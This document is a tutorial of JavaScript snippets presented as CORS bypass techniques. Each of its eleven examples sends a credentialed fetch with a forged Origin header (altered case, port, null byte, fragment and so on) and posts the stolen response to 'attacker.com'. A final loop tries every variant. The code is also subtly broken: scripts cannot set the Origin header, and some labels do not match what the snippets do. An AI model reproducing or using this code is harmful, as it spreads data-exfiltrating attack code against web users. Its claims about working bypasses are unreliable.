Advanced CORS Bypass Examples
Use these techniques to bypass CORS protections:
1. Subdomain Bypass:
// Subdomain bypass technique
fetch('http://vulnerable-site.com/api?action=subdomain_bypass', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': 'https://evil.example.com',
'X-Custom-Header': 'malicious-value'
}
})
.then(response => response.json())
.then(data => {
console.log('Subdomain bypass successful:', data);
// Send to attacker server
fetch('http://attacker.com/steal-subdomain', {
method: 'POST',
body: JSON.stringify(data)
});
});
2. Port Bypass:
// Port bypass technique
fetch('http://vulnerable-site.com/api?action=port_bypass', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': 'https://evil.com:8080',
'X-Custom-Header': 'malicious-value'
}
})
.then(response => response.json())
.then(data => {
console.log('Port bypass successful:', data);
// Send to attacker server
fetch('http://attacker.com/steal-port', {
method: 'POST',
body: JSON.stringify(data)
});
});
3. Protocol Bypass:
// Protocol bypass technique
fetch('http://vulnerable-site.com/api?action=protocol_bypass', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': 'https://evil.com',
'X-Custom-Header': 'malicious-value'
}
})
.then(response => response.json())
.then(data => {
console.log('Protocol bypass successful:', data);
// Send to attacker server
fetch('http://attacker.com/steal-protocol', {
method: 'POST',
body: JSON.stringify(data)
});
});
4. Unicode Bypass:
// Unicode bypass technique
fetch('http://vulnerable-site.com/api?action=bypass_test', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': 'https://evil.com\u0000',
'X-Custom-Header': 'malicious-value'
}
})
.then(response => response.json())
.then(data => {
console.log('Unicode bypass successful:', data);
// Send to attacker server
fetch('http://attacker.com/steal-unicode', {
method: 'POST',
body: JSON.stringify(data)
});
});
5. Null Byte Bypass:
// Null byte bypass technique
fetch('http://vulnerable-site.com/api?action=bypass_test', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': 'https://evil.com%00',
'X-Custom-Header': 'malicious-value'
}
})
.then(response => response.json())
.then(data => {
console.log('Null byte bypass successful:', data);
// Send to attacker server
fetch('http://attacker.com/steal-null', {
method: 'POST',
body: JSON.stringify(data)
});
});
6. Case Bypass:
// Case bypass technique
fetch('http://vulnerable-site.com/api?action=bypass_test', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': 'https://EVIL.COM',
'X-Custom-Header': 'malicious-value'
}
})
.then(response => response.json())
.then(data => {
console.log('Case bypass successful:', data);
// Send to attacker server
fetch('http://attacker.com/steal-case', {
method: 'POST',
body: JSON.stringify(data)
});
});
7. Mixed Case Bypass:
// Mixed case bypass technique
fetch('http://vulnerable-site.com/api?action=bypass_test', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': 'https://EvIl.CoM',
'X-Custom-Header': 'malicious-value'
}
})
.then(response => response.json())
.then(data => {
console.log('Mixed case bypass successful:', data);
// Send to attacker server
fetch('http://attacker.com/steal-mixed', {
method: 'POST',
body: JSON.stringify(data)
});
});
8. Path Bypass:
// Path bypass technique
fetch('http://vulnerable-site.com/api?action=bypass_test', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': 'https://evil.com/path',
'X-Custom-Header': 'malicious-value'
}
})
.then(response => response.json())
.then(data => {
console.log('Path bypass successful:', data);
// Send to attacker server
fetch('http://attacker.com/steal-path', {
method: 'POST',
body: JSON.stringify(data)
});
});
9. Fragment Bypass:
// Fragment bypass technique
fetch('http://vulnerable-site.com/api?action=bypass_test', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': 'https://evil.com#fragment',
'X-Custom-Header': 'malicious-value'
}
})
.then(response => response.json())
.then(data => {
console.log('Fragment bypass successful:', data);
// Send to attacker server
fetch('http://attacker.com/steal-fragment', {
method: 'POST',
body: JSON.stringify(data)
});
});
10. Query Bypass:
// Query bypass technique
fetch('http://vulnerable-site.com/api?action=bypass_test', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': 'https://evil.com?query=value',
'X-Custom-Header': 'malicious-value'
}
})
.then(response => response.json())
.then(data => {
console.log('Query bypass successful:', data);
// Send to attacker server
fetch('http://attacker.com/steal-query', {
method: 'POST',
body: JSON.stringify(data)
});
});
11. Advanced Bypass Combination:
// Advanced bypass combination
async function advancedBypass() {
const bypassTechniques = [
'https://evil.example.com',
'https://evil.com:8080',
'https://evil.com',
'https://evil.com\u0000',
'https://evil.com%00',
'https://EVIL.COM',
'https://EvIl.CoM',
'https://evil.com/path',
'https://evil.com#fragment',
'https://evil.com?query=value'
];
for (const technique of bypassTechniques) {
try {
const response = await fetch('http://vulnerable-site.com/api?action=bypass_test', {
method: 'GET',
credentials: 'include',
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Origin': technique,
'X-Custom-Header': 'malicious-value'
}
});
if (response.ok) {
const data = await response.json();
console.log(`Bypass successful with ${technique}:`, data);
// Send to attacker server
fetch('http://attacker.com/steal-advanced', {
method: 'POST',
body: JSON.stringify({
technique: technique,
data: data,
timestamp: new Date().toISOString()
})
});
}
} catch (error) {
console.error(`Bypass failed with ${technique}:`, error);
}
}
}
advancedBypass();